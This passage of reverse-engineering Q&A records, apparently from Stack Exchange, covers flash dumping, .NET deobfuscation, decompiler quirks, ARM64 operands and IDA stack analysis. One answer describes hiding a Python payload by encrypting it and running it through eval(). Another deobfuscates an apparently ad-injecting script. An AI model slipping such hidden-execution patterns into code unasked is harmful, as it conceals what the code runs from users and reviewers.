        "Answer": "<p>Firstly you would like to know if someone has already implemented the required protocol to read that flash memory model. You should try to search on your favorite engine queries like \"'model' dump\" or \"dumping 'model' with buspirate\" , where 'model' IS the name of your chip.</p>\n\n<p>If you cannot find anything, you Will have to do It by yourself.</p>\n\n<p>I just searched for \"MX25L1606E datasheet\" and i found, in the first result, all the needed details about your particular chip: <a href=\"https://www.google.es/url?sa=t&amp;source=web&amp;rct=j&amp;url=https://www.macronix.com/Lists/Datasheet/Attachments/7465/MX25L1606E,%25203V,%252016Mb,%2520v1.9.pdf&amp;ved=2ahUKEwikqZ6DwfPmAhUDDewKHbtZBTUQFjAAegQIBRAB&amp;usg=AOvVaw2RuJPF7rRLWzADjhovrUpM\" rel=\"nofollow noreferrer\" title=\"datasheet\">datasheet</a></p>\n\n<p>There you can find that It uses the SPI protocol, and the supported commands (READ, WRITE, etc) as well as others that may be important.</p>\n\n<p>Now you need a hardware that can speak that protocol. Bus pirate is great and has documentation. You just need to read the datasheet to discover which SPI Mode is used.</p>\n\n<p>You could also repurpose an Arduino UNO or Arduino UNO clone board (or any more powerful Arduino version). Arduino UNO can speak SPI. As an example, I did that to read the <a href=\"https://github.com/pedro-javierf/dsaver\" rel=\"nofollow noreferrer\">SPI flash of Nintendo DS cartridges</a> for example. You would like to use the ICSP pins of the Arduino to connect to your memory, send commands and receive data, store it into the arduino memory, and send it to your PC over the serial connection of the Arduino.</p>\n\n<p>Please note that Arduino (UNO) boards have little memory available, so you need to read the memory in smaller chunks.</p>\n"
    },
    {
        "Id": "22946",
        "CreationDate": "2020-01-08T14:39:26.683",
        "Body": "<p>There is an <strong>application</strong> that has been <strong>obfuscation</strong> to learn. So in an unpack me style. In the first stage I would unpack with de4dot. <strong>After</strong> you unpack, the running application <strong>stops</strong> working.</p>\n\n<p>dump and then again when I want to do the same process again stops working.</p>\n\n<p>Even when I want to <strong>fix</strong> it with <strong>Universal_Fix</strong>, a result <strong>doesn't</strong> change.</p>\n\n<p>When I look at the application with <strong>dnSpy</strong>, there is no problem. Codes can be read. It remains stuck in the <strong>main</strong> <strong>function</strong> when I want to run it. And it returns the following error.</p>\n\n<p><a href=\"https://i.stack.imgur.com/niyRS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/niyRS.png\" alt=\"enter image description here\"></a></p>\n\n<p>That's where he hangs out.</p>\n\n<p><a href=\"https://i.stack.imgur.com/3schy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3schy.png\" alt=\"enter image description here\"></a></p>\n\n<p>Error returning when I want to continue.</p>\n\n<p>What should I do about this?</p>\n\n<p>I apologize for my bad English.</p>\n",
        "Title": "Error After de4dot - Application Does Not Start",
        "Tags": "|obfuscation|deobfuscation|de4dot|",
        "Answer": "<p>I've completed the process with a fixed version of de4dot.</p>\n\n<p>Fixed version:<a href=\"https://board.b-at-s.info/index.php?/topic/9731-de4dot-cryptophoenixreactor-fixed-by-ivancitooz/\" rel=\"nofollow noreferrer\">fixed by ivancitooz</a></p>\n"
    },
    {
        "Id": "22955",
        "CreationDate": "2020-01-09T13:45:31.473",
        "Body": "<p>While trying to decompile an application with Hex-Ray 7.0, I stumbled upon the problem that in nearly all cases, what seems to be a certain inline function will not be recognised, which bloats the code base and makes it really hard to read.\nThe function seems to be strcpy or something similar. Is there a way to have the Decompiler change the mentioned parts to an inline function? Or can I do it manually somehow?\nHere's a screenshot to illustrate my issue:<a href=\"https://i.stack.imgur.com/D1Hiw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/D1Hiw.png\" alt=\"\" /></a></p>\n<p>Thanks a lot in advance!</p>\n",
        "Title": "Hex-Ray Decompiler: inline function not recognized",
        "Tags": "|ida|hexrays|decompiler|",
        "Answer": "<p>That's extremely common. Sometimes Hex-Rays recognizes these patterns, sometimes it doesn't. Get used to recognizing them visually, writing a comment if necessary, and moving on.</p>\n"
    },
    {
        "Id": "22956",
        "CreationDate": "2020-01-09T14:39:19.887",
        "Body": "<p>i have this code i'm trying to deobfuscate\n<a href=\"https://pastebin.com/g5mHpWE4\" rel=\"nofollow noreferrer\">https://pastebin.com/g5mHpWE4</a></p>\n\n<p>I used\n<a href=\"https://beautifier.io/\" rel=\"nofollow noreferrer\">https://beautifier.io/</a> and\n<a href=\"http://www.jsnice.org/\" rel=\"nofollow noreferrer\">http://www.jsnice.org/</a></p>\n\n<p>but the result is still not good, current code:\n<a href=\"https://pastebin.com/whfqanxx\" rel=\"nofollow noreferrer\">https://pastebin.com/whfqanxx</a></p>\n\n<p>much remains coded\nexample: <code>window [$ (\" 0x128 \")] [$ (\" 0x11 \")] [$ (\" 0x7 \")]</code></p>\n\n<p>Is it possible to leave this code 100% clean?</p>\n",
        "Title": "Is it possible to completely reverse this code?",
        "Tags": "|obfuscation|deobfuscation|javascript|",
        "Answer": "<p>Having such code the first thing to do is to analyze what part is the obfuscation algorithm and what's the actual code. Here' it's not that difficult as all the code is on top. So let's analyze it step by step:</p>\n\n<pre><code>var norm = [\"cookie\", \"toUTCString\",...\n</code></pre>\n\n<p>defines an array with string that will be used in the application. Having them in an array and not in the code makes the code more difficult for human to understand but the machine will still managed to parse the code correctly. </p>\n\n<p>So we have an array...</p>\n\n<p>What's next? Following the array there's this function</p>\n\n<pre><code>(function(value, count) {\n var fn = function(selected_image) {\n   for (; --selected_image;) {\n     value[\"push\"](value[\"shift\"]());\n   }\n };\n fn(++count);\n})(norm, 144);\n</code></pre>\n\n<p>What it does it creates a function that can shuffle an array and in the last line <code>(norm, 144)</code> it is being executed with our aforementioned array of strings and the constant value of <code>144</code> that will be used to count the number of rounds of the shuffling (<code>+1</code> -> <code>fn(++count)</code>). </p>\n\n<p>So after this we no longer know the order of string in our defined array <code>norm</code>. In order to know it we would have to execute those two instructions (<strong>it might be dangerous if you don't understand what your are doing</strong>) or mimic similar behavior in another language and get the result. (<code>[\"object\", \"exports\", \"./IPv6\",...]</code>).</p>\n\n<p>So now comes the third part of the obfuscation - this function:</p>\n\n<pre><code>var $ = function(i, fn) {\n  i = i - 0;\n  var id = norm[i];\n  return id;\n};\n</code></pre>\n\n<p>It simply defines a function named <code>$</code> that, when passed an argument <code>i</code> returns the string from our shuffled array <code>norm</code>.</p>\n\n<p>Now comes the actual code part. Whenever you see code like this <code>$(\"0x1b1\")</code> you would have to replace it by running (or simulating) the call to function <code>$</code> with the argument and get the result. In this case it would be for <code>0x1b1 = \"hxxps://www.bitonclick.com/jump/next.php?r=1967903\"</code> (without xx - a proper address) and for example for <code>$(\"0x114\") = \"FuckAdBlock\"</code>. And so on...</p>\n\n<p>Doing this of all the calls you would get all of the code extracted, but going over this manually can be mundane and error prone so it would be nice to have some kind of automated way of performing this activities.</p>\n\n<p>Doing that (not even for the whole file) would allow to more easily understand the code but from parts of it, it looks like it might be injecting some ads on the page (it might not be the only purpose of it) - as one can see in the strings \"Ad\", \"FuckAdBlock\" and some <code>iframes</code>.</p>\n"
    },
    {
        "Id": "22962",
        "CreationDate": "2020-01-10T16:39:42.033",
        "Body": "<p>Sorry, if this question seems stupid, but I am new in arm64 and next 2 assembly lines seriously damaged my brain:</p>\n\n\n\n<pre><code>LDR             W0, [X30,W0,UXTW#2]\nADD             X30, X30, W0,UXTW\n</code></pre>\n\n<p>I have readed <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0802a/LDR_imm_fpsimd.html\" rel=\"nofollow noreferrer\">docs</a>, used google with different keywords, but it seems like everything connected to assembly is written by machines to machines..</p>\n\n<p>I understood that it patches return address of subroutine, but what <code>UTXW#2</code> is and how does it affect on <code>LDR</code> is hard to undertand.</p>\n\n<p>Could somebody explain me \"magic\" which happens in this 2 lines?</p>\n",
        "Title": "LDR specifier combination UXTW",
        "Tags": "|assembly|arm|arm64|",
        "Answer": "<p>Not Sure i selected uxtw in this post Right Clicked and Search Google For UXTW<br>\nthe First Hit is <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0802a/SUB_addsub_ext.html\" rel=\"nofollow noreferrer\">Arm Documentation</a></p>\n\n<pre><code>SUB  Wd|WSP, Wn|WSP, Wm{, extend {#amount}} ; 32-bit general registers\n\nSUB  Xd|SP, Xn|SP, Rm{, extend {#amount}}  ; 64-bit general registers\n\nextend\n\n    Is the extension to be applied to the second source operand:  \n\n    32-bit general registers \n\n        Can be one of UXTB, UXTH, LSL|UXTW, UXTX, SXTB, SXTH, SXTW or SXTX.\n\n        If Rd or Rn is WSP then LSL is preferred rather than UXTW,  \nand can be omitted when amount is 0. \nIn all other cases extend is required and must be UXTW rather than LSL.\n\n    64-bit general registers\n\n        Can be one of UXTB, UXTH, UXTW, LSL|UXTX, SXTB, SXTH, SXTW or SXTX.\n\n        If Rd or Rn is SP then LSL is preferred rather than UXTX,  \nand can be omitted when amount is 0.    \nIn all other cases extend is required and must be UXTX rather than LSL.\n</code></pre>\n\n<p>sxtw is signed extend word 8000->ffff8000<br>\nuxtw isunsigned extend word 8000->00008000   </p>\n\n<p><a href=\"https://thinkingeek.com/2016/10/23/exploring-aarch64-assembler-chapter-3/\" rel=\"nofollow noreferrer\">quoting from another relevent hit</a> </p>\n\n<blockquote>\n  <p>Extending operators</p>\n  \n  <p>Extending operators main purpose is to widen a narrower value found in\n  a register to match the number of bits for the operation. An extending\n  operator is of the form kxtw, where k is the kind of integer we want\n  to widen and w is the width of the narrow value. For the former, the\n  kind of integer can be U (unsigned) or S (signed, i.e. two\u2019s\n  complement). For the latter the width can be B, H or W which means\n  respectively byte (least 8 significant bits of the register),\n  half-word (least 16 significant bits of the register) or word (least\n  significant 32 bits of the register).</p>\n  \n  <p>This means that the extending operators are uxtb, sxtb, uxth, sxth,\n  uxtw, sxtw.</p>\n  \n  <p>These operators exist because sometimes we have to lift the range of\n  the source value from a smaller bit width to a bigger one. In later\n  chapters we will see many cases where this happens. For instance, it\n  may happen that we need to add a 32-bit register to a 64-bit register.\n  If both registers represent two\u2019s complement integers then</p>\n  \n  <p>add x0, x1, w2, sxtw  // x0 \u2190 x1 + ExtendSigned32To64(w2)</p>\n  \n  <p>There is some kind of context that has to be taken into account when\n  using these extension operators. For instance, the two instructions\n  below have slight different meanings:</p>\n  \n  <p>add x0, x1, w2, sxtb // x0 \u2190 x1 + ExtendSigned8To64(w2) add w0, w1,\n  w2, sxtb // w0 \u2190 w1 + ExtendSigned8To32(w2)</p>\n  \n  <p>In both cases the least significant 8 bits of w2 are extended but in\n  the first case they are extended to 64 bit and in the second case to\n  32-bit. Extension and shift</p>\n  \n  <p>It is possible to extend a value and then shift it left 1, 2, 3 or 4\n  bits by specifying an amount after the extension operator. For\n  instance</p>\n  \n  <p>mov x0, #0                // x0 \u2190 0 mov x1, #0x1234           // x0 \u2190\n  0x1234 add x2, x0, x1, sxtw #1   // x2 \u2190 x0 + (ExtendSigned16To64(x1)\n  &lt;&lt; 1)\n                            // this sets x2 to 0x2468 add x2, x0, x1, sxtw #2   // x2 \u2190 x0 + (ExtendSigned16To64(x1) &lt;&lt; 2)\n                            // this sets x2 to 0x48d0 add x2, x0, x1, sxtw #3   // x2 \u2190 x0 + (ExtendSigned16To64(x1) &lt;&lt; 3)\n                            // this sets x2 to 0x91a0 add x2, x0, x1, sxtw #4   // x2 \u2190 x0 + (ExtendSigned16To64(x1) &lt;&lt; 4)\n                            // this sets x2 to 0x12340</p>\n  \n  <p>This may seem a bit odd and arbitrary at this point but in later\n  chapters we will see that this is actually useful in many cases.</p>\n  \n  <p>This is all for today.</p>\n</blockquote>\n\n<p>here is a sample unicorn python emulation</p>\n\n<pre><code>#code modified from unicorn sample\nfrom __future__ import print_function\nfrom unicorn import *\nfrom unicorn.arm64_const import *\nprint (\n\"Register X30 on start = 0x10\\n\"\n\"Register W0  on start = 0x02\\n\"\n\"Emulate 5 ARM64 instructions that follows\\n\"\n\"ADD X30, X30, W0,UXTW#0\\n\"\n\"ADD X30, X30, W0,UXTW#1\\n\"\n\"ADD X30, X30, W0,UXTW#2\\n\"\n\"ADD X30, X30, W0,UXTW#3\\n\"\n\"ADD X30, X30, W0,UXTW#4\\n\"\n\"Register X30 on end = 0x10+0x2+0x4+0x8+0x10+0x20 == 0x4e\"\n)\nCODE =  b\"\\xDE\\x43\\x20\\x8B\\xDE\\x47\\x20\\x8B\\xDE\\x4b\\x20\\x8B\\xDE\\x4f\\x20\\x8B\\xDE\\x53\\x20\\x8B\"\nADDRESS    = 0x10000\ndef test_arm64():\n    try:\n        mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)\n        mu.mem_map(ADDRESS, 2 * 1024 * 1024)\n        mu.mem_write(ADDRESS, CODE)\n        mu.reg_write(UC_ARM64_REG_X30, 0x10)\n        mu.reg_write(UC_ARM64_REG_W0, 2)\n        for i in range (ADDRESS,ADDRESS + len(CODE),4):\n            mu.emu_start(i, i + 4)\n            x30 = mu.reg_read(UC_ARM64_REG_X30)\n            w0  =  mu.reg_read(UC_ARM64_REG_W0) \n            print(\"&gt;&gt;&gt; x30  = 0x%x w0 = 0x%x\" %(x30,w0))\n    except UcError as e:\n        print(\"ERROR: %s\" % e)\n\nif __name__ == '__main__':\n    test_arm64()\n</code></pre>\n\n<p>emulation results</p>\n\n<pre><code>:\\&gt;python uniaarch64.py\nRegister X30 on start = 0x10\nRegister W0  on start = 0x02\nEmulate 5 ARM64 instructions that follows\nADD X30, X30, W0,UXTW#0\nADD X30, X30, W0,UXTW#1\nADD X30, X30, W0,UXTW#2\nADD X30, X30, W0,UXTW#3\nADD X30, X30, W0,UXTW#4\nRegister X30 on end = 0x10+0x2+0x4+0x8+0x10+0x20 == 0x4e\n&gt;&gt;&gt; x30  = 0x12 w0 = 0x2\n&gt;&gt;&gt; x30  = 0x16 w0 = 0x2\n&gt;&gt;&gt; x30  = 0x1e w0 = 0x2\n&gt;&gt;&gt; x30  = 0x2e w0 = 0x2\n&gt;&gt;&gt; x30  = 0x4e w0 = 0x2\n</code></pre>\n\n<p>when you start with -0x2 in W0 see the extended results</p>\n\n<pre><code>&gt;&gt;&gt; x30  = 0x10000000e w0 = 0xfffffffe\n&gt;&gt;&gt; x30  = 0x30000000a w0 = 0xfffffffe\n&gt;&gt;&gt; x30  = 0x700000002 w0 = 0xfffffffe\n&gt;&gt;&gt; x30  = 0xefffffff2 w0 = 0xfffffffe\n&gt;&gt;&gt; x30  = 0x1effffffd2 w0 = 0xfffffffe\n</code></pre>\n\n<p>SXTW and -2</p>\n\n<pre><code>&gt;&gt;&gt; x30  = 0xe w0 = 0xfffffffe\n&gt;&gt;&gt; x30  = 0xa w0 = 0xfffffffe\n&gt;&gt;&gt; x30  = 0x2 w0 = 0xfffffffe\n&gt;&gt;&gt; x30  = 0xfffffffffffffff2 w0 = 0xfffffffe\n&gt;&gt;&gt; x30  = 0xfffffffffffffff0 w0 = 0xfffffffe\n</code></pre>\n\n<p>SXTW and 2</p>\n\n<pre><code>&gt;&gt;&gt; x30  = 0x12 w0 = 0x2\n&gt;&gt;&gt; x30  = 0x16 w0 = 0x2\n&gt;&gt;&gt; x30  = 0x1e w0 = 0x2\n&gt;&gt;&gt; x30  = 0x2e w0 = 0x2\n&gt;&gt;&gt; x30  = 0x30 w0 = 0x2\n</code></pre>\n"
    },
    {
        "Id": "22972",
        "CreationDate": "2020-01-12T13:13:50.547",
        "Body": "<p>I have a software with an embedded python interpreter. The software can open upon startup a given <code>.py</code> script and execute it. Let's assume that in my python environment I can't open other files, and I can't use external tools like <code>Cython</code> </p>\n\n<p>I want to obfuscate the script. My only demand is that the <code>payload</code> part of the file (my custom business logic) could not be opened in a text editor and plain-text read. </p>\n\n<p>I could imagine the flow of the script will be de-obfuscation/decryption of a payload, that resides within the <code>.py</code> file as the first step and then executing it. </p>\n\n<p>I can store within the script any encryption key, and I don't care that the decryption part will be visible and that it can be easily reproduced.</p>\n\n<p>Any ideas how can I make that happen?</p>\n",
        "Title": "Python self decryption script, as mean of obfuscation",
        "Tags": "|encryption|python|obfuscation|",
        "Answer": "<p>I did something similar on the past, here is the idea you need to carry:</p>\n\n<ol>\n<li><p>You create the python script that you want to execute and obfuscate:</p>\n\n<pre><code>print('Some string')\n</code></pre></li>\n<li><p>Another script opens the previous script, encrypts the content and <code>base64</code> the encryption, and finally put in a variable like:</p>\n\n<pre><code>text = \"cHJpbnQoJ1NvbWUgc3RyaW5nJyk=\"\n</code></pre></li>\n<li><p>On another python file, you stick the text variable and a routine for decryption and decode the base64.</p></li>\n<li><p>Use the method <code>eval()</code> for execute the previous decrypted and decoded string.</p></li>\n</ol>\n\n<p>This is not perfect but at least you have something to play with and explore. </p>\n"
    },
    {
        "Id": "22974",
        "CreationDate": "2020-01-12T17:03:42.860",
        "Body": "<p>I'm trying to get the disassembly of a very small binary file available <a href=\"https://1drv.ms/u/s!AsYP2RqBWCWrokQmsi4oN2igDK2m?e=fnrfXV\" rel=\"nofollow noreferrer\">here</a>. This file is cropped from part of another executable binary. </p>\n\n<p>When I open it with <code>r2</code> it automatically recognizes the architecture and can provide me with the diassembly: </p>\n\n<p><a href=\"https://i.stack.imgur.com/ZMnUy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZMnUy.png\" alt=\"enter image description here\"></a></p>\n\n<p>With Ghidra however, it cannot find the architecture automatically and I have to manually specify the language: </p>\n\n<p><a href=\"https://i.stack.imgur.com/KTrmH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KTrmH.png\" alt=\"enter image description here\"></a></p>\n\n<p>Even then, I'm getting the following as the disassembly:</p>\n\n<p><a href=\"https://i.stack.imgur.com/uq58V.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uq58V.png\" alt=\"enter image description here\"></a></p>\n\n<p>I'm very surprised by how poor NSA's Ghidra is performing in such scenario compared to the open source radare2. Can someone describe what's going on and how can I fix it? </p>\n",
        "Title": "Why Ghidra doesn't load the disassembly correctly while radare2 does?",
        "Tags": "|disassembly|ghidra|",
        "Answer": "<p>Pawe\u0142 \u0141ukasik is correct.</p>\n\n<p>Disassembling the code fragment using Ghidra can be done in 3 steps:</p>\n\n<ol>\n<li><p>Selecting the architecture (which you have already done)</p></li>\n<li><p>Highlighting the bytes to disassemble</p></li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/gZ6l9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gZ6l9.png\" alt=\"Highlight and press D\"></a></p>\n\n<ol start=\"3\">\n<li>Press \"D\" as Pawe\u0142 stated or right click and select \"disassemble\"</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/RLiVB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RLiVB.png\" alt=\"disassembled fragment\"></a></p>\n"
    },
    {
        "Id": "22983",
        "CreationDate": "2020-01-13T14:43:55.647",
        "Body": "<p>What does _0_4_ mean in ghidra?</p>\n\n<p><a href=\"https://i.stack.imgur.com/HA5Ku.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/HA5Ku.png\" alt=\"\"></a></p>\n",
        "Title": "Ghidra what's the meaning of _0_4_",
        "Tags": "|ghidra|",
        "Answer": "<p>It is being used when there's a mismatch between type sizes in the decompiled code and Ghidra cannot show you that the whole variable is being modified. </p>\n\n<p>Your <code>PUCHAR</code> - since it is a pointer and this is (probably) 64-bit is 8 bytes. But analyzing the disassembly Ghidra sees that only 4 bytes are being set to 0 in this line (for example a 32 bit register is used).</p>\n\n<p>One of the fix you can apply is by correcting the type of <code>local_res8</code> (<kbd>CTRL+L</kbd>) but it might be the case that the type is ok, and in fact only lower 32-bits are being set..</p>\n"
    },
    {
        "Id": "22985",
        "CreationDate": "2020-01-13T15:20:22.817",
        "Body": "<p>I'm currently analyzing a function that has a lot of indirect jumps looking like the following.</p>\n\n<p>LEA R10,[0x142000000]</p>\n\n<p>(some instructions that dont change R10)</p>\n\n<p>JMP R10</p>\n\n<p>The Ghidra decompiler just treats the indirect jump as a call and doesnt give any meaningful output. How do I go ahead and analyze a function like that? I guess ideally I would just like to change the JMP R10 instruction to JMP 0x142000000 in this example, however if I cant just do that since the opcode is larger and other jumps would no longer align.</p>\n",
        "Title": "Ghidra analyzing hardcoded indirect jumps",
        "Tags": "|decompilation|ghidra|",
        "Answer": "<p>Its been a couple months since this was asked, but there is also another option. If you can manually calculate the jumps then its possible to specify these into Ghidra to override its default behaviour.</p>\n\n<p>There is a script called <code>SwitchOverride</code>, which can be found in the script manager window. Below is the documentation from the script:</p>\n\n<blockquote>\n  <p>This script allows the user to manually   specify the destinations of an indirect jump (switch) \u00a0to the decompiler, if it   can't figure out the destinations itself or does so incorrectly. \u00a0To use, create a selection that contains: \u00a0the (one) instruction performing the indirect jump to override \u00a0other instructions whose addresses are interpreted as destinations of the switch \u00a0then run this script</p>\n</blockquote>\n"
    },
    {
        "Id": "22996",
        "CreationDate": "2020-01-14T09:31:42.190",
        "Body": "<p>I'm trying to reverse an application that is using a DLL that i'm interested in.</p>\n\n<p>I can properly disassemble the application itself with DnSpy, as it is a .Net application, and I can disassemble the used DLL with IDA, as it's a native C shared library.</p>\n\n<p>I am using x64dbg as a debugger, and i would like to see the interactions between the application and the DLL. I can properly break on the DLL by loading the .Net app into x64Dbg, and waiting for a DLL call, and it's fine.</p>\n\n<p>But the fact that x64dbg does not support .Net syntax make it very weird to play with when the flow came back from the DLL to the application, and i would like to do the following:</p>\n\n<ul>\n<li><p>Use the DnSpy build-in debugger to see what's going on on a high level with the .Net application.</p></li>\n<li><p>And use x64dbg attached to the DLL to take a look at it whenever it is call by the application.</p></li>\n</ul>\n\n<p>But i can't manage to do that, since the root process (the .Net application) cannot be debugged by two debugger at the same time.</p>\n\n<p>How can i setup x64dbg to intercept the DLL without attaching it to the .Net process ?</p>\n\n<p>Is it even possible to do that ?</p>\n\n<p>Or maybe I'm unaware of some magic tools that would help me ?</p>\n\n<p>Any idea ?</p>\n\n<p>Thanks :)</p>\n",
        "Title": "Attach one debugger to a DotNet application, and a second one to a loaded DLL",
        "Tags": "|ida|dll|.net|",
        "Answer": "<p>The best way to debug this in my opinion is to use WinDbg from <a href=\"https://developer.microsoft.com/en-US/windows/downloads/windows-10-sdk\" rel=\"nofollow noreferrer\">Windows SDK</a> or <a href=\"https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab\" rel=\"nofollow noreferrer\">WinDbg Preview</a> from Windows Store. In Windows it is not possible to attach two debuggers to the same process. WinDbg supports easily debugging .NET and native processes.</p>\n\n<p>To access .NET functionality you can run commands:</p>\n\n<pre><code>.loadby sos clr\n</code></pre>\n\n<p>More details of the .NET extensions <a href=\"https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension\" rel=\"nofollow noreferrer\">here</a>\nImproved .NET debugging with sosex 3rd party extension <a href=\"http://stevestechspot.com/SOSEXV40NowAvailable.aspx\" rel=\"nofollow noreferrer\">here</a>\nCommon commands for WinDbg thematically grouped <a href=\"http://www.windbg.info/doc/1-common-cmds.html\" rel=\"nofollow noreferrer\">here</a> </p>\n\n<p>There is some learning curve to use it fully effectively but once learned it is extremely powerful debugger for .NET and native code.</p>\n\n<p>If must use x64dbg then you would require a plugin that supports .NET, the currently available plugins are listed here: <a href=\"https://github.com/x64dbg/x64dbg/wiki/Plugins\" rel=\"nofollow noreferrer\">https://github.com/x64dbg/x64dbg/wiki/Plugins</a></p>\n"
    },
    {
        "Id": "23005",
        "CreationDate": "2020-01-14T23:11:29.380",
        "Body": "<p>I'm testing my toy obfuscating C compiler against IDA's decompiler, but IDA refuses always functions (then the decompilation is not possible). For example, at one of lowest-levels of obfuscating, a function likes</p>\n\n\n\n<pre><code>int foo(int i) {\n  return i;\n}\n</code></pre>\n\n<p>is compiled to</p>\n\n\n\n<pre><code>0x0         40 55                          push rbp\n0x2         48 89 e5                       mov rbp, rsp\n0x5         41 56                          push r14\n0x7         41 57                          push r15\n0x9         48 83 ec 10                    sub rsp, 0x10\n0xd         40 89 bc 24 0c 00 00 00        mov [rsp+0xc], edi\n0x15        48 8d 05 e4 ff ff ff           lea rax, [rip-0x1c]\n0x1c        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]\n0x24        44 8b b4 24 0c 00 00 00        mov r14d, [rsp+0xc]\n0x2c        45 0f af fe                    imul r15d, r14d\n0x30        44 89 f9                       mov ecx, r15d\n0x33        83 c1 01                       add ecx, 0x1\n0x36        44 8b b4 24 0c 00 00 00        mov r14d, [rsp+0xc]\n0x3e        45 0f af f7                    imul r14d, r15d\n0x42        48 63 c9                       movsxd rcx, ecx\n0x45        49 63 d6                       movsxd rdx, r14d\n0x48        48 39 d1                       cmp rcx, rdx\n0x4b        0f 95 c1                       setnz cl\n0x4e        40 84 c9                       test cl, cl\n0x51        75 1c                          jnz 0x1c\n0x53        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]\n0x5b        49 63 cf                       movsxd rcx, r15d\n0x5e        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]\n0x66        44 89 ff                       mov edi, r15d\n0x69        48 89 c6                       mov rsi, rax\n0x6c        40 ff d1                       call rcx\n0x6f        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]\n0x77        44 89 f8                       mov eax, r15d\n0x7a        48 83 c4 10                    add rsp, 0x10\n0x7e        41 5f                          pop r15\n0x80        41 5e                          pop r14\n0x82        40 5d                          pop rbp\n0x84        c3                             ret\n</code></pre>\n\n<p>I still don't understand why <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1368.shtml\" rel=\"nofollow noreferrer\">the stack frame analysis</a> can be failed for this case. There are only two groups of instructions modifying <code>rsp</code>, the first 5:</p>\n\n\n\n<pre><code>0x0         40 55                          push rbp\n0x2         48 89 e5                       mov rbp, rsp\n0x5         41 56                          push r14\n0x7         41 57                          push r15\n0x9         48 83 ec 10                    sub rsp, 0x10\n</code></pre>\n\n<p>and the last 5:</p>\n\n\n\n<pre><code>0x7a        48 83 c4 10                    add rsp, 0x10\n0x7e        41 5f                          pop r15\n0x80        41 5e                          pop r14\n0x82        40 5d                          pop rbp\n0x84        c3                             ret\n</code></pre>\n\n<p>and they actually make the stack pointer balanced.</p>\n\n<p>How can I fix that?</p>\n\n<p><em>Update</em>: @chentiangemalc suggests that it comes from <code>call rcx</code>, then I changed the obfuscating option to not generate such a call, and removed almost all other obfuscating options, following is an even simpler result</p>\n\n\n\n<pre><code>0x0         40 55                          push rbp\n0x2         48 89 e5                       mov rbp, rsp\n0x5         40 53                          push rbx\n0x7         48 83 ec 08                    sub rsp, 0x8\n0xb         c1 ef 00                       shr edi, 0x0\n0xe         89 f8                          mov eax, edi\n0x10        81 c8 33 19 d0 39              or eax, 0x39d01933\n0x16        89 f9                          mov ecx, edi\n0x18        81 e1 33 19 d0 39              and ecx, 0x39d01933\n0x1e        0f af c1                       imul eax, ecx\n0x21        40 b9 33 19 d0 39              mov ecx, 0x39d01933\n0x27        89 ca                          mov edx, ecx\n0x29        f7 d2                          not edx\n0x2b        89 fb                          mov ebx, edi\n0x2d        21 d3                          and ebx, edx\n0x2f        f7 d7                          not edi\n0x31        21 f9                          and ecx, edi\n0x33        0f af d9                       imul ebx, ecx\n0x36        01 d8                          add eax, ebx\n0x38        81 c0 31 d6 93 7f              add eax, 0x7f93d631\n0x3e        40 b9 fb 89 99 8c              mov ecx, 0x8c9989fb\n0x44        0f af c1                       imul eax, ecx\n0x47        81 c0 f5 c4 23 fd              add eax, -0x2dc3b0b\n0x4d        48 8d 8c 24 04 00 00 00        lea rcx, [rsp+0x4]\n0x55        40 89 01                       mov [rcx], eax\n0x58        48 8d 84 24 04 00 00 00        lea rax, [rsp+0x4]\n0x60        40 8b 00                       mov eax, [rax]\n0x63        48 83 c4 08                    add rsp, 0x8\n0x67        40 5b                          pop rbx\n0x69        40 5d                          pop rbp\n0x6b        c3                             ret\n</code></pre>\n\n<p>but IDA complains always <code>sp-analysis failed</code> ((I've put the ELF <a href=\"https://send.firefox.com/download/a6e2224e532d962f/#7T05h7_HprqN7gprnr0-YA\" rel=\"nofollow noreferrer\">here</a>).</p>\n\n<p>Other tools like Ghidra or JEB Decompiler happily recognizes the function, though.</p>\n\n<p><em>Update</em>: the method of @chentiangemalc works perfectly. <s>for the example above, unfortunately there are cases where IDA is not happy (sample: <a href=\"https://send.firefox.com/download/af09a8b198096475/#lGtfN2XJRu3Q3KW9ESh6tw\" rel=\"nofollow noreferrer\">ELF</a>)</s>.</p>\n",
        "Title": "Stack-pointer analysis failed",
        "Tags": "|ida|decompilation|obfuscation|decompiler|",
        "Answer": "<p>When I assembled the code, the offending instruction was:</p>\n\n<pre><code>0x6c        40 ff d1                       call rcx\n</code></pre>\n\n<p>You will need to use <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/489.shtml\" rel=\"nofollow noreferrer\">Change Stack Pointer</a> command in IDA to fix this in disassembly. As per IDA documentation:</p>\n\n<ul>\n<li>This command allows you to specify how the stack pointer (SP) is modified by the current instruction. </li>\n<li>You cannot use this command if the current instruction does not belong to any function. </li>\n<li>You will need to use this command only if IDA was not able to trace the value of the SP register. </li>\n<li>Usually IDA can handle it but in some special cases it fails. An example of such a situation is an indirect call of a function that purges its parameters from the stack. In this case, IDA has no information about the function and cannot properly trace the value of SP. </li>\n<li>Please note that you need to specify the difference between the old and new values of SP.</li>\n<li>The value of SP is used if the current function accesses local variables by [ESP+xxx] notation. </li>\n</ul>\n\n<p>This can also be verified by removing the call rcx instruction and confirming it removes the SP Analysis failed error in IDA.</p>\n\n<p>Based on the 2nd version with uploaded ELF the problem is IDA hasn't detected 